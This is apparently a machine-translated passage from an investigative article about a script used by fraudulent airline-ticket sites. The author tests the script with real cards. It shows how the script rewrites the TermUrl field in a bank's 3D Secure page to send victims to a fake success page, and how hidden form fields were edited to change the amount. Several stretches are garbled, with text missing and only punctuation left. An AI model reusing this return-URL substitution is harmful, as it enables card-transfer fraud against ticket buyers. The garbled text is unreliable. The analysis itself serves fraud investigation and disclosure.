	} else if (rctext == "Authentication failed" && (ext_diag_code == "NS_ATTEMPT" || ext_diag_code == "S_ATTEMPT" || ext_diag_code == "ATTEMPT" || ext_diag_code == "UNAVAIL")){
		window.top.location = "http://www.psbank.ru/Card2Card/3DSFailure";
	} else {
		window.top.location = "http://www.psbank.ru/Card2Card/TechReasons";
	}
   }
</script>
</head>
<body onload="netcetera_set_DID('');redirect('Authentication failed','BIN_ERROR')">
</body>
</html>

डिबगिंग जानकारी का एक उदाहरण यदि बैंक भुगतान करते समय कोई त्रुटि दर्ज करता है

लाइन 174 - यदि भुगतान करते समय त्रुटि के कारण स्क्रिप्ट से कोई पूर्व निकास नहीं था, तो इसका मतलब है कि सब कुछ जैसा कि हो रहा है। पहले से चर $ पृष्ठ में सहेजे गए पृष्ठ में, पते के साथ सभी सबस्ट्रिंग को https://3ds.payment.ru/cgi-bin/cgi_linkmydomain.ru/sus.php?cd = के प्रकार के पते के साथ एक स्ट्रिंग के साथ बदल दिया जाता है ... - यह धोखाधड़ी वाले साइट पर पेज का पता है जिसे भुगतान सफल होने पर उपयोगकर्ता को प्राप्त करना होगा। (ऐसे पृष्ठ पर, उपयोगकर्ता को धन्यवाद दिया जा सकता है और सूचित किया जा सकता है कि इलेक्ट्रॉनिक टिकट मेल द्वारा भेजे गए हैं)। प्रतिस्थापन की जगह के बाद, परिणाम चर $ पीपी में संग्रहीत किया जाता है।

लाइन 175 - $ pp वैरिएबल ब्राउज़र में प्रदर्शित होता है। चूंकि चर $ pp पृष्ठ के पूर्ण HTML कोड के साथ एक स्ट्रिंग है, इसलिए उपयोगकर्ता कुछ पृष्ठ देखेंगे। बैंक द्वारा दिए गए मूल पृष्ठ से प्रदर्शित पृष्ठ बाहरी रूप से भिन्न नहीं होगा - अंतर केवल उस HTML कोड के अंदर होगा जहां लिंक प्रतिस्थापित किया गया था।

तो यह पृष्ठ क्या है जो बैंक सही कार्ड नंबर दर्ज करने के मामले में देता है, और जिसमें स्क्रिप्ट एक धोखाधड़ी वेबसाइट पर सफल भुगतान पृष्ठ के लिए लिंक का विकल्प देती है? और आखिरकार, शायद, अभी भी भेजने वाले बैंकों से 3 डी सिक्योर चेक होना चाहिए, जो भुगतान की अनुमति नहीं देगा? कोड सबसे दिलचस्प जगह पर समाप्त हो गया और इसमें संदेह है कि अतिरिक्त मुश्किल लिपियों, रूपों आदि के बिना यह काम कर सकता है।

. - . . .

मैंने अपना बैंक कार्ड नंबर aviacfg.php फ़ाइल में डाला। मैं इस पर स्थानांतरण स्वीकार करने की कोशिश करूँगा, अगर, निश्चित रूप से, यह काम करता है। मैं डिस्क पर पहले सहेजे गए फॉर्म पेज को खोलता हूं। फर्जी साइटों में से एक पर जाने पर यह फ़ॉर्म केवल ब्राउज़र में सहेजा गया था, जो प्रकाशन के पहले भाग को लिखने के समय, फिर भी काम करता था। फॉर्म को पहले ही 2915 रूबल की राशि से बचाया जा चुका है, लेकिन परीक्षण के लिए यह बहुत अधिक है। चलो इसे बदलते हैं। किसी भी रूप में, दृश्यमान और छिपे हुए क्षेत्र हैं। छिपे हुए फ़ील्ड (इनपुट, चयन) सामान्य फ़ील्ड से अलग नहीं हैं, सिवाय इसके कि वे दिखाई नहीं देते हैं। ऐसे फ़ील्ड का उपयोग सेवा की जानकारी संग्रहीत करने के लिए किया जाता है, जिसे उपयोगकर्ता को देखने की आवश्यकता नहीं है। इनपुट फ़ील्ड दो तरीकों से छिपे हुए हैं।

CSS ( display:none). , (input), , ( DIV) input.
— , type=«hidden». type=«text».

हमारे मामले में, प्रपत्र फ़ील्ड = "छिपी" का उपयोग करके छिपे हुए हैं।

हम ब्राउज़र F12 (वेब डेवलपमेंट मोड) में दबाते हैं। HTML कोड में सही जगह ढूंढें और दो या अधिक इनपुट तत्वों के लिए टेक्स्ट टाइप = "हिडन" टाइप करने के लिए = "टेक्स्ट" बदलें। अब हम उन क्षेत्रों को देखते हैं जिनमें योग और सेवा कोड (कोड) संग्रहीत हैं। 2915rub से 20rub तक की मात्रा कम करें। अब फॉर्म में अपने दूसरे बैंक कार्ड का डेटा डालें। इस कार्ड से पैसा डेबिट किया जाना चाहिए अगर हस्तांतरण करना संभव है।

हम "पे" बटन पर क्लिक करके फॉर्म की पुष्टि करते हैं। बटन पर क्लिक करने के बाद, payp2p.php स्क्रिप्ट लॉन्च की जाती है, जो फॉर्म में दर्ज डेटा प्राप्त करती है।

मेरे आश्चर्य के लिए, असली कार्ड नंबर दर्ज करने और परीक्षण फॉर्म पर "भुगतान" बटन पर क्लिक करने के बाद, मैंने स्क्रीन पर Sberbank (जिस बैंक से हस्तांतरण किया गया है) का पृष्ठ देखा, मुझसे 3D सुरक्षित पुष्टिकरण कोड दर्ज करने के लिए कहा।

इसके अलावा मेरे फोन पर मुझे एक कोड के साथ Sberbank से एक एसएमएस मिला।

वैध क्रेडिट कार्ड के साथ परीक्षण करने से पहले, मैंने यह मान लिया था कि 3D सुरक्षित कोड की पुष्टि करने के लिए, इसे किसी तरह से उपयोगकर्ता को "छल" करना होगा, और फिर प्रोग्रामेटिक रूप से गुप्त रूप से इस फ़ॉर्म में 3D सुरक्षित पुष्टिकरण को स्थानांतरित करना होगा। हालांकि, सब कुछ बहुत सरल निकला। कार्ड से कार्ड को स्थानांतरित करने के लिए डेटा Promsvyazbank वेबसाइट पर भेजे जाने के बाद, ब्राउज़र कार्ड जारी करने वाले बैंक के रूप को प्रदर्शित करता है जिसमें से स्थानांतरण किया जाता है। मेरे मामले में, यह Sberbank है। इस फॉर्म को फेक करने की भी जरूरत नहीं है। पुष्टिकरण फॉर्म Sberbank की HTTPS वेबसाइट पर प्रदर्शित किया गया है। धोखेबाजों के शिकार खुद इस रूप में सीधे परिचित हैं जो एक पुष्टिकरण कोड दर्ज करते हैं। उसके बाद, यदि हस्तांतरण पास हो जाता है, तो पैसा डेबिट हो जाता है। यद्यपि इस तरह के हस्तांतरण का विरोध करना सैद्धांतिक रूप से संभव है, यह इस तथ्य से बहुत दूर है कि पैसा वापस आ जाएगा।रिफंड की संभावना कई कारकों से प्रभावित होती है, जिसमें यह भी शामिल है कि कितनी जल्दी "पीड़ित" अपने बैंक पर लागू होगा।

उस पृष्ठ का HTML कोड जिसे Sberbank ने स्पॉइलर के तहत 3D सिक्योर की पुष्टि करने के लिए दिया है। एक पाठ फ़ाइल के लिए चर $ पृष्ठ लिखकर परीक्षण के दौरान कोड प्राप्त किया गया था। Payp2p.php स्क्रिप्ट की लाइन 166।

लाइन रिप्लेसमेंट से पहले 3 डी सिक्योर HTML पेज कोड

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML>
<HEAD>
</HEAD>
<BODY ONLOAD="javascript:OnLoadEvent();">
<FORM ACTION="https://acs3.sbrf.ru:443/acs/pa?id=QAB6XaYQTRm-t_6DHVnp2Q" METHOD="post" NAME="ThreeDform" target="_self">
<input name="PaReq" type="hidden" value="eJxVUmFPgzAQ/SuE966lY2iWo4aJOl1mcG7TfTK1VCCOwkpR9u9tJ3P6pbn37nLv+u7gsiu3zqdQTVHJ0PUG2HWE5FVayCx0V8ubswv3ksIyV0LET4K3SlCYi6ZhmXCKNHSTaCF24+doErywzeNyUZ7p1yCermVNHl0KhzSFXoCa/gMC6AhNJ8VzJjUFxneTuwfqYzLC54B6CKVQdzHFGAfYI8TH/pB4GNAPDZKVgl5Fi5jYx0meJtHDbLBYATpkgFet1GpPA38I6AigVVuaa12PEaqbNyY/BqoFZFlAp4GS1kaN6dIVKZ2pgu2f41s565JNs84SKbL9+z0bbXkIyFZAyrSgBHuBhz3fwcGYjMZDo3vggZVWnnojbMbvAdRWI/qb+cuAcVuZZRznPyIQXV1JYSqMlb8xpKLhVBf8Q2inZnsjbAlAp49cTa3PXBvrSKp1rqOvbZJVs/VXdPuez7vdZj59uw6t+4ciK1QYx7xz63kPANk2qF8s6m/BRP9u5BtPwMYZ">
<input name="MD" type="hidden" value="161732779-506DEA0AD5677154">
<input name="TermUrl" type="hidden" value="https://3ds.payment.ru/cgi-bin/cgi_link">
</FORM>
<SCRIPT>
function OnLoadEvent () 
{
  document.forms[0].submit();
}
</SCRIPT>
</BODY>
</HTML>

स्पॉइलर के नीचे, टेक्स्ट का हिस्सा बदलने के बाद पृष्ठ का HTML कोड। एक पाठ फ़ाइल के लिए चर $ पीपी लिखकर परीक्षण के दौरान कोड प्राप्त किया गया था। Payp2p.php स्क्रिप्ट की लाइन 174।

स्ट्रिंग को बदलने के बाद 3 डी सिक्योर HTML पेज कोड

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML>
<HEAD>
</HEAD>
<BODY ONLOAD="javascript:OnLoadEvent();">
<FORM ACTION="https://acs3.sbrf.ru:443/acs/pa?id=QAB6XaYQTRm-t_6DHVnp2Q" METHOD="post" NAME="ThreeDform" target="_self">
<input name="PaReq" type="hidden" value="eJxVUmFPgzAQ/SuE966lY2iWo4aJOl1mcG7TfTK1VCCOwkpR9u9tJ3P6pbn37nLv+u7gsiu3zqdQTVHJ0PUG2HWE5FVayCx0V8ubswv3ksIyV0LET4K3SlCYi6ZhmXCKNHSTaCF24+doErywzeNyUZ7p1yCermVNHl0KhzSFXoCa/gMC6AhNJ8VzJjUFxneTuwfqYzLC54B6CKVQdzHFGAfYI8TH/pB4GNAPDZKVgl5Fi5jYx0meJtHDbLBYATpkgFet1GpPA38I6AigVVuaa12PEaqbNyY/BqoFZFlAp4GS1kaN6dIVKZ2pgu2f41s565JNs84SKbL9+z0bbXkIyFZAyrSgBHuBhz3fwcGYjMZDo3vggZVWnnojbMbvAdRWI/qb+cuAcVuZZRznPyIQXV1JYSqMlb8xpKLhVBf8Q2inZnsjbAlAp49cTa3PXBvrSKp1rqOvbZJVs/VXdPuez7vdZj59uw6t+4ciK1QYx7xz63kPANk2qF8s6m/BRP9u5BtPwMYZ">
<input name="MD" type="hidden" value="161732779-506DEA0AD5677154">
<input name="TermUrl" type="hidden" value="http://p2p.localhost/sus.php?cd=BX3FKT">
</FORM>
<SCRIPT>
function OnLoadEvent () 
{
  document.forms[0].submit();
}
</SCRIPT>
</BODY>
</HTML>

संक्षेप में, 3D सुरक्षित पृष्ठ के HTML कोड में (इस उदाहरण में, Sberbank से) पंक्ति:

<input name="TermUrl" type="hidden" value="https://3ds.payment.ru/cgi-bin/cgi_link">

प्रोग्राम में परिवर्तन:

<input name="TermUrl" type="hidden" value="http://p2p.localhost/sus.php?cd=BX3FKT">

प्रतिस्थापन स्ट्रिंग उस पृष्ठ का पता है जिसमें 3D सुरक्षित कोड की जांच करने के बाद प्रेषक का बैंक कार्ड जारी करना चाहिए। स्क्रिप्ट को लाइन में बदलने से पहले, Promsvyazbank वेबसाइट को रिटर्न एड्रेस के रूप में निर्दिष्ट किया गया था। स्क्रिप्ट को लाइन से बदलने के बाद, धोखाधड़ी वाले साइट पर कुछ पृष्ठ पहले से ही वापसी पते के रूप में इंगित किया गया है।

मुझे पूरी तरह से समझ नहीं आ रहा है कि रिटर्न एड्रेस को किस सटीक बिंदु पर बदला जा रहा है, लेकिन यह काम करता है। उस समय, जब ब्राउज़र 3D सुरक्षित कोड दर्ज करने के अनुरोध के साथ Sberbank का https पृष्ठ प्रदर्शित करता है, यदि आप ब्राउज़र में पृष्ठ के स्रोत HTML कोड को देखते हैं, तो किसी भी साइट पर कोई वापसी पता नहीं है। इस पृष्ठ के HTML कोड की लंबाई 400 से अधिक लाइनों की है और ऊपर प्रस्तुत किए गए Sberbank प्रतिक्रिया पृष्ठ के HTML कोड से पूरी तरह से भिन्न है, जिसे चर पेज $ (लाइन 166) और $ pp (लाइन 174) को डिस्क पर लिखकर कैप्चर किया गया था।

यदि आप गलत 3D सिक्योर कोड दर्ज करते हैं, तो उसके पृष्ठ पर Sberbank एक संदेश प्रदर्शित करता है कि कोड गलत है, और दूसरा एसएमएस भेजता है। जैसे ही सही कोड दर्ज किया जाता है, यह भुगतान साइट या प्रतिस्थापन साइट पर पुनर्निर्देशित हो जाता है। यही है, शायद, भुगतान साइट पर पुनर्निर्देशन का तात्पर्य है कि Sberbank से सभी आवश्यक प्रक्रियाएं पूरी हो गई हैं। यहाँ Sberbank परीक्षण के लिए एक उदाहरण के रूप में कार्य करता है। ट्रांसफर दूसरे बैंक के जरिए भी किया जा सकता है।

"टिकट खरीदार" की तरफ से यह ऐसा दिखता है। भुगतान के पूर्व-तैयार फॉर्म पर खरीदार अपने कार्ड नंबर में प्रवेश करता है। उसके बाद, 3D सुरक्षित कोड पुष्टिकरण पृष्ठ लगभग तुरंत प्रदर्शित होता है और पुष्टिकरण कोड वाला एक एसएमएस आता है। ब्राउज़र में 3D सिक्योर पेज HTTPS प्रोटोकॉल का उपयोग करके खरीदार के कार्ड जारी करने वाले की बैंक की वेबसाइट पर प्रदर्शित किया जाता है। कार्ड नंबर दर्ज करने के लिए फ़ॉर्म वाला पृष्ठ संदिग्ध लग सकता है, लेकिन आपके बैंक की वेबसाइट पर 3D सुरक्षित पुष्टिकरण किसी भी संदेह या संदेह का कारण नहीं बनता है।

वैसे, Sberbank से 3 डी सिक्योर पेज पर लाइन "विवरण" में हस्ताक्षर "टिकट भुगतान" पर ध्यान दें। यह हस्ताक्षर payp2p.php स्क्रिप्ट में सेट है। भविष्य के उदाहरणों में, हम इसे बदलने की कोशिश करेंगे।

चलो परीक्षण करने के लिए वापस जाओ।

मैंने Sberbank पेज पर एसएमएस से कोड दर्ज किया और "भेजें" बटन पर क्लिक करने के बाद, मुझे एक चेतावनी मिली कि डेटा एक असुरक्षित कनेक्शन पर भेजा जाएगा।

यह पुष्टि करने के बाद कि मैं असुरक्षित कनेक्शन पर डेटा भेजने से सहमत हूं, मुझे /sus.php?cd=…

पेज पर पुनः निर्देशित किया गया था । यह रिटर्न पेज है। वापसी पता स्क्रिप्ट में सेट है। इस मामले में, पृष्ठ नहीं मिला। लेकिन कारण स्पष्ट है - वापसी पृष्ठ अग्रिम में तैयार नहीं किया गया था।

यद्यपि लक्ष्य लगभग प्राप्त कर लिया गया था, कार्ड से कार्ड तक का पैसा वास्तव में पास नहीं हुआ । जानकारी के साथ कोई अतिरिक्त एसएमएस नहीं थे कि भुगतान अस्वीकार कर दिया गया था, आदि।

मैंने तय किया कि पहले प्रयास में विफलता का कारण यह था कि स्थानीय साइट (लोकलहोस्ट) ने असुरक्षित http कनेक्शन और सुरक्षित HTTP प्रोटोकॉल पर Sberbank साइट पर काम किया था। Http और https एक दूसरे के साथ बहुत दोस्ताना नहीं हैं। यह, वैसे, यह बताता है कि प्रकाशन के पहले भाग में वर्णित कपटपूर्ण साइटों ने एक सुरक्षित https कनेक्शन का उपयोग क्यों किया, जो सबसे सरल प्रमाण पत्र के साथ होता है।

इस धारणा को सत्यापित करने के लिए, मुझे स्थानीय साइट पर https प्रोटोकॉल को कॉन्फ़िगर करना पड़ा। ऐसा करने के लिए, एक स्थानीय P2p.localhost डोमेन और एक स्व-हस्ताक्षरित प्रमाण पत्र बनाया गया था। परिणामस्वरूप, परीक्षण स्क्रिप्ट के साथ नया पता इस तरह दिखाई देने लगा: इसके

https://p2p.localhost/payp2p.php

अलावा, उस पेज का पता, जिसमें 3 डी सिक्योर कोड दर्ज करने के बाद रिटर्न दिया जाना चाहिए, स्क्रिप्ट में बदल गया था। रिटर्न पेज भी पहले से तैयार था।

हम एक स्थानीय साइट के साथ पहले से ही भुगतान करने के लिए फिर से कोशिश कर रहे हैं जो https प्रोटोकॉल के माध्यम से काम करता है।

जब आप पहली बार कनेक्ट करते हैं, तो ब्राउज़र स्वाभाविक रूप से गलत तरीके से कॉन्फ़िगर किए गए सुरक्षित कनेक्शन पर शपथ लेता है। यह इस तथ्य के कारण है कि हमारे पास स्व-हस्ताक्षरित प्रमाण पत्र है।

चूंकि प्रमाण पत्र का स्रोत ज्ञात है, हम इसे अपवादों में जोड़ते हैं।

वह सब है। अब कनेक्शन https के माध्यम से किया जाता है और जब Sberbank वेबसाइट से स्विच किया जाता है, तो चेतावनी गायब हो जाती है।

3D सिक्योर कोड दर्ज करने के बाद, विशेष रूप से तैयार पृष्ठ पर वापस सही तरीके से किया जाता है।

सब कुछ ठीक काम करता है सिवाय इसके कि पैसा वास्तव में काम नहीं करता है । नतीजतन, मुझे कई दिनों तक परीक्षण और खोज करनी पड़ी, इसका क्या कारण हो सकता है।

मेरे पास केवल फाइलों का एक हिस्सा था जो कि धोखाधड़ी वाली एयरलाइन टिकट साइटों में से एक पर उपयोग किया जाता है। मेरे पास जो फाइलें भेजी गई थीं, उनमें एक भुगतान था। पीडीएफ फाइल। यह ऊपर लिखी गई स्क्रिप्ट के समान है। कोड को देखते हुए, यह संभवतः "मुकाबला साइट" पर आगंतुकों को धोखा देने के लिए नहीं बनाया गया था, लेकिन एक प्रोग्रामर-डेवलपर द्वारा 3ds.payment.ru सेवा के माध्यम से एक कार्ड से दूसरे कार्ड में स्थानांतरित करने की संभावना के परीक्षण के लिए। यह संभावना नहीं है, लेकिन सैद्धांतिक रूप से धोखाधड़ी साइटों के शुरुआती संस्करणों में, इसका उपयोग न केवल परीक्षण के लिए किया जा सकता है।

मैंने वैकल्पिक भुगतान का उपयोग करके भुगतान करने की कोशिश की। स्क्रिप्ट और भुगतान पहली बार पारित हुआ।सफल भुगतान की पुष्टि करने वाली एकमात्र चीज़ वेबसाइट 3ds.payment.ru पर प्रदर्शित की गई थी। मैंने फैसला किया कि चूंकि यह स्क्रिप्ट काम करती है, इसलिए इसका कारण खोजना संभव होगा कि विवरण में पहली स्क्रिप्ट (payp2p.php) काम क्यों नहीं करती है।

फुल स्क्रिप्ट कोड भुगतान। बिगाड़ने के तहत भुगतान

Payment.php और payp2p.php स्क्रिप्ट के बीच अंतर का विवरण

. .

payp2p.php POST . payment.php GET . , , :

https://p2p.localhost/payment.php?card_1=1111&card_2=2222...&cvc=999...&price=30...

, « ».

Payment.php payp2p.php MySQL. . .

Payment.php . , . , payp2p.php , , payment.php . TERMINAL=24043210, MERCH_NAME=PSB, MERCHANT=000601224043202, EMAIL=lakhtin%40psbank.ru, TRTYPE=8 ( TRTYPE . payp2p.php ).

— payment.php https://3ds.payment.ru/cgi-bin/is_3DS. {"IS_ACTIVE":"Y"} , ( 3D Secure).

. payment.php . , 3ds.payment.ru.

… , Firefox, «» payment.php («Firefox/3.0.3»), , , , . , 3.5 Firefox 2009 , 4 Firefox 2011, payp2p.php , «Firefox/38.0», 2016 — Firefox 49.

तब payp2p.php स्क्रिप्ट को ठीक करने का प्रयास किया गया था जो किसी कारण से काम नहीं कर रहा था, इसे ठीक करने के लिए, वर्किंग स्क्रिप्ट को आधार के रूप में लेना। विभिन्न विकल्पों की कोशिश की गई है। कोड के सभी टुकड़े जो किसी भी तरह काम को प्रभावित कर सकते हैं, उन्हें काम करने वाली स्क्रिप्ट से गैर-काम करने वाले व्यक्ति में स्थानांतरित कर दिया गया था। अन्य बातों के अलावा, एक अतिरिक्त मध्यवर्ती कनेक्शन के लिए एक प्रयास था https://3ds.payment.ru/cgi-bin/is_3DS; विकल्प बदलने, चालू करने और बंद करने के विकल्प cURL, आदि से कुछ भी मदद नहीं मिली, पत्थर का फूल नहीं निकला।

बाद में, परीक्षण के दौरान, यह payp2p.php में अंतिम चरण में रीडायरेक्ट को बंद करने का निर्णय लिया गया था। उसके बाद, Promsvyazbank से त्रुटि संदेश पढ़ना संभव हो गया। नीचे त्रुटि का स्क्रीनशॉट। भुगतान करने के असफल प्रयास के बाद ब्राउज़र में, एक अन्य पृष्ठ प्रदर्शित होता है, लेकिन यदि आप एक या अधिक बार "बैक" पर क्लिक करते हैं, तो आप इस पृष्ठ को देख सकते हैं।

:

, .

: / (/)
, , /

Promsvyazyazbank वेबसाइट पर प्रति दिन एक कार्ड से भुगतान की संख्या पर कुछ प्रतिबंध हैं, हालांकि मैं वास्तविक भुगतानों की संख्या की सीमा से अधिक नहीं था, यह संभव है कि मेरे प्रयासों की बड़ी संख्या के कारण भुगतान किसी चरण में नहीं हुआ। (डिबगिंग के दौरान चर के मूल्यों को पकड़ने के लिए, मैंने कई बार भुगतान प्रक्रिया शुरू की, लेकिन इसे समाप्त नहीं किया) मुझे इस संदेश का सही कारण पता नहीं है। ORDER_NUM और TIMESTAMP को भुगतान करने का प्रत्येक प्रयास एक नया प्रयोग करता है। उन्हें ऐसी त्रुटि की उपस्थिति को प्रभावित नहीं करना चाहिए था। हालाँकि जो कार्ड मैंने भुगतान के लिए उपयोग किया था, एक सफल भुगतान वैकल्पिक भुगतान के माध्यम से चला गया। स्क्रिप्ट, शायद प्रेषक या प्राप्तकर्ता से कार्ड स्टॉपलिस्ट में मिला।

Payp2p.php स्क्रिप्ट पहले से ही अपनी मूल स्थिति की तरह थोड़ी थी। मैं खुद उलझन में पड़ने लगा कि मैंने इसमें क्या बदला और क्या नहीं। इसलिए, मैंने इसे अपने मूल रूप में वापस कर दिया, सिवाय इसके कि अंतिम लाइनों पर पुनर्निर्देशन के पुनर्निर्देशन को सफल भुगतान पृष्ठ अक्षम कर दिया गया था। बाद के प्रयासों के लिए प्रेषक और रिसीवर के कार्ड नंबर नए उपयोग किए गए थे।

आखिरकार, payp2p.php की मदद से यह एक सफल भुगतान बन गया।

"विवरण" लाइन में हस्ताक्षर पर ध्यान दें।

3D सिक्योर कन्फर्मेशन कोड डालने के बाद, Promsvyazbak पेज:

रिसीव्ड एसएमएस किया जाता है। प्रेषक के बैंक के बाईं ओर लाभार्थी के बैंक के अधिकार के लिए।

Sberbank, किसी कारण से, एसएमएस समय GMT में संकेत दिया। पहले, मैंने इस बैंक के संदेशों में इस पर ध्यान नहीं दिया था।

अक्षम किए गए रिटर्न पेज के प्रतिस्थापन के साथ, स्क्रिप्ट payp2.php का उपयोग करके कई बार सफल भुगतान दोहराएं।

मैंने दूसरे कार्ड से भुगतान करने की कोशिश की। प्रत्येक बैंक अपना 3 डी सिक्योर फॉर्म जारी करता है। लेकिन इससे सार नहीं बदलता है।

कृपया ध्यान दें कि सभी बैंक अपने पुष्टि फॉर्म में "अतिरिक्त विवरण" शामिल नहीं करते हैं। हमारे उदाहरण में, "टिकट भुगतान"।

प्रत्येक बैंक के पृष्ठ के अनुकूल होना आवश्यक नहीं है। यद्यपि रूप भिन्न हैं, उनके लिए प्रतिस्थापन का तंत्र समान है। भुगतान के बाद किसी भी रूप में उस पृष्ठ के पते के साथ एक लिंक होता है जिस पर आप वापस लौटना चाहते हैं। स्वयं बैंक, जो 3 डी सिक्योर वेरिफिकेशन फॉर्म प्रदान करते हैं, संभवतः "लेफ्ट साइट" पर वापस नहीं लौटेंगे। निश्चित रूप से, 3DS सत्यापन फ़ॉर्म से कुछ नियम और बैंक हैं, कम से कम उसी डोमेन पर वापस लौटना चाहिए जहाँ से भुगतान अनुरोध प्राप्त हुआ था। (हमारे मामले में, 3ds.payment.ru पर)। पासवर्ड को सही ढंग से दर्ज करने की स्थिति में, 3D सिक्योर कोड को सत्यापित करने वाला बैंक, पेज के html कोड में उस पते को इंगित करता है, जिस पर लौटना आवश्यक है, लेकिन यह अब नियंत्रित नहीं कर सकता है कि क्या इस पेज पर लौटना है।

सभी प्रयोगों के परिणामस्वरूप, कार्ड से Promsvyazbank 3ds.payment.ru के कार्ड में स्थानांतरण सेवा के माध्यम से भुगतान करने के लिए payp2p.php स्क्रिप्ट प्राप्त करना संभव था। उसी समय, मुझे स्क्रिप्ट की अंतिम पंक्तियों पर वापसी पते के प्रतिस्थापन को अक्षम करना पड़ा। जब आप रिटर्न पेज एड्रेस के स्पूफिंग को चालू करते हैं, जैसा कि मूल स्क्रिप्ट में था, वर्तमान समय में पैसा वास्तव में पास नहीं होता है। 3D सुरक्षित सत्यापन पृष्ठ प्रदर्शित होता है; "पासवर्ड" के साथ एसएमएस भेजा जाता है; गलत पासवर्ड दर्ज करने पर सत्यापन फ़ॉर्म अगले चरण पर नहीं जाता है; सही "पासवर्ड" दर्ज करने के बाद, एक नकली पृष्ठ पर रीडायरेक्ट करता है, लेकिन पैसा पास नहीं होता है।

सफल भुगतान के लिए रिटर्न पेज के पते की जालसाजी धोखाधड़ी साइटों के लिए एक बहुत महत्वपूर्ण हिस्सा है। यदि "टिकट के खरीदार" को संदेह नहीं है कि उसे धोखा दिया गया था, तो वह एक के लिए भुगतान नहीं कर सकता है, लेकिन टिकटों की कई खरीद और उसके बाद लंबे समय (दिनों और हफ्तों) के लिए भुगतान को रद्द करने के लिए कोई सक्रिय कार्रवाई नहीं करता है, आदि। यदि खरीदार "हवाई टिकट के लिए भुगतान" करने के बाद कार्ड से कार्ड में स्थानांतरण की पुष्टि करता है, तो सबसे अधिक संभावना है कि वह अब निम्नलिखित भुगतान नहीं करेगा, वह अपने बैंक से संपर्क करेगा और, संभवतः, पुलिस बहुत तेजी से। इसका मतलब यह है कि धोखाधड़ी वाली साइटों पर नकदी प्रवाह कम हो जाता है, पिछले भुगतानों को रद्द करने की संभावना बढ़ जाती है, कानून प्रवर्तन एजेंसियां और होस्टिंग कर्मचारी पहले से कार्य करना शुरू कर देते हैं, और चुराए गए धन को सुरक्षित स्थान पर वापस नहीं करने की संभावना बढ़ जाती है।

तथ्य यह है कि इस लिपि का उपयोग एक लड़ाकू धोखाधड़ी स्थल पर किया गया था, मुझे इसमें कोई संदेह नहीं है। मेरे पास यह मानने का कारण है कि यह उस रूप में काम करता है जिसमें यह मुझे प्रदान किया गया था। वर्तमान में यह सीमित काम करता है (कोई पुनर्निर्देश नहीं)।

प्रकाशन के पहले भाग के प्रकाशित होने के लगभग तीन सप्ताह बाद, जिसमें प्रोमिसवेज़बैंक की कार्ड-टू-कार्ड हस्तांतरण सेवा का उपयोग करते हुए धोखेबाज़ों का उल्लेख किया गया था, इस बैंक ने अपनी सेवा में कुछ बदलाव किए, जिन्हें मैं महत्वपूर्ण मानता हूं। इससे पहले, प्रोमिसवेज़बैंक की वेबसाइट के माध्यम से भुगतान करते समय, भुगतानकर्ताओं को "पी 2 पी PSBANK" पाठ के साथ असंगत एसएमएस प्राप्त होते थे, लेकिन अब वे "कार्डिकार्ड PSBANK.RU" पाठ के साथ एसएमएस प्राप्त करना शुरू कर दिया। इस तरह भी, पहली नज़र में, भुगतान के उद्देश्य के डिक्रिप्शन में थोड़ा बदलाव धोखेबाजों के कुछ संभावित पीड़ितों के लिए पुष्टि चरण में भुगतान को रद्द करने के लिए पर्याप्त है। मुझे लगता है कि यह एक संयोग नहीं है, और GeekTimes पर लेख के प्रकाशन के परिणामस्वरूप परिवर्तन ठीक से किए गए थे।

यह संभावना है कि एसएमएस में पुष्टिकरण पाठ को बदलने के साथ-साथ लेख के पहले भाग के प्रकाशन के बाद, कार्ड से प्रोमिसवाज़बैंक के कार्ड में स्थानांतरण सेवा के एल्गोरिदम में अतिरिक्त समायोजन किया जा सकता है। मैं 100% नहीं कह सकता, लेकिन मेरी राय यह है कि Promsvyazbank 3ds.payment.ru की सेवा से पहले उच्च संभावना वाले उपयोगकर्ताओं ने कार्ड दाता जारी करने वाले बैंकों की साइटों पर 3D सुरक्षित कोड दर्ज करने के बाद सफलतापूर्वक अपनी साइट पर उपयोगकर्ताओं की वापसी की जाँच नहीं की। इसलिए, जब जालसाज़ लिपियों ने रिटर्न पेज बदल दिया तब भी भुगतान हुआ।

बैंक, जिसका इस प्रकाशन में कई बार उल्लेख किया गया है, मुक्त विज्ञापन के साथ भाग्यशाली था। मुझे लगता है कि वास्तव में अभी भी ऐसे बैंकों की पर्याप्त संख्या है। यह सिर्फ इतना है कि यह अधिक भाग्यशाली है कि इसे फर्जी साइटों पर उपयोग के लिए पहले चुना गया था, और फिर इस लेख में विश्लेषण के लिए। जैसा कि वे कहते हैं, कोई स्वस्थ रोगी नहीं हैं, खराब जांच वाले रोगी हैं।

इस लेख को लिखते समय, एक मुकाबला धोखाधड़ी स्क्रिप्ट बनाने का कार्य इसके लायक नहीं था। कार्य यह समझने की कोशिश करना था कि "एयर टिकट खरीदारों" को धोखा देने के कारणों को समझने के लिए यह कैसे काम करता है या काम करता है, इससे धोखा दिया जा सकता है और इससे निष्कर्ष निकाला जा सकता है।

यह लेख कई सवाल उठाता है, लेकिन सभी उत्तर प्रदान नहीं करता है। मुझे यकीन है कि पाठकों के बीच पर्याप्त संख्या में उन्नत उपयोगकर्ता होंगे जो नैदानिक तस्वीर पर अधिक सटीक टिप्पणी कर सकते हैं और निदान कर सकते हैं। अपने हिस्से के लिए, मैंने गवाही को पूरी तरह से यथासंभव पेश करने की कोशिश की ...

भुगतान स्क्रिप्ट के विश्लेषण के साथ प्रकाशन का हिस्सा पूरा हो गया है। आगे उन लोगों के लिए जो इस जगह को पढ़ने में सक्षम थे।

धोखाधड़ी वाली जगहों पर सस्ते विमान कहां से आते हैं?

अप्रत्यक्ष संकेतों द्वारा, प्रकाशन के पिछले भाग में, यह दिखाया गया था कि स्थानों और कीमतों की उपलब्धता के बारे में जानकारी प्रोग्राम को कुछ ईमानदार साइट पर प्राप्त की जाती है, जिसे संशोधित किया जाता है और उपयोगकर्ता को जारी किया जाता है।

एक धोखाधड़ी वेबसाइट पर उपलब्धता और कीमतों के बारे में जानकारी का उदाहरण

अब हमारे पास पर्दे के पीछे देखने और यह देखने का अवसर है कि इसे प्रोग्राम कोड में कैसे लागू किया जाता है।

यहां कपटपूर्ण साइट के कोड में जगह है जिसमें हम देखते हैं कि धोखाधड़ी वाली साइटों से उड़ानों के लिए चित्र और कीमतें कहां से आती हैं।

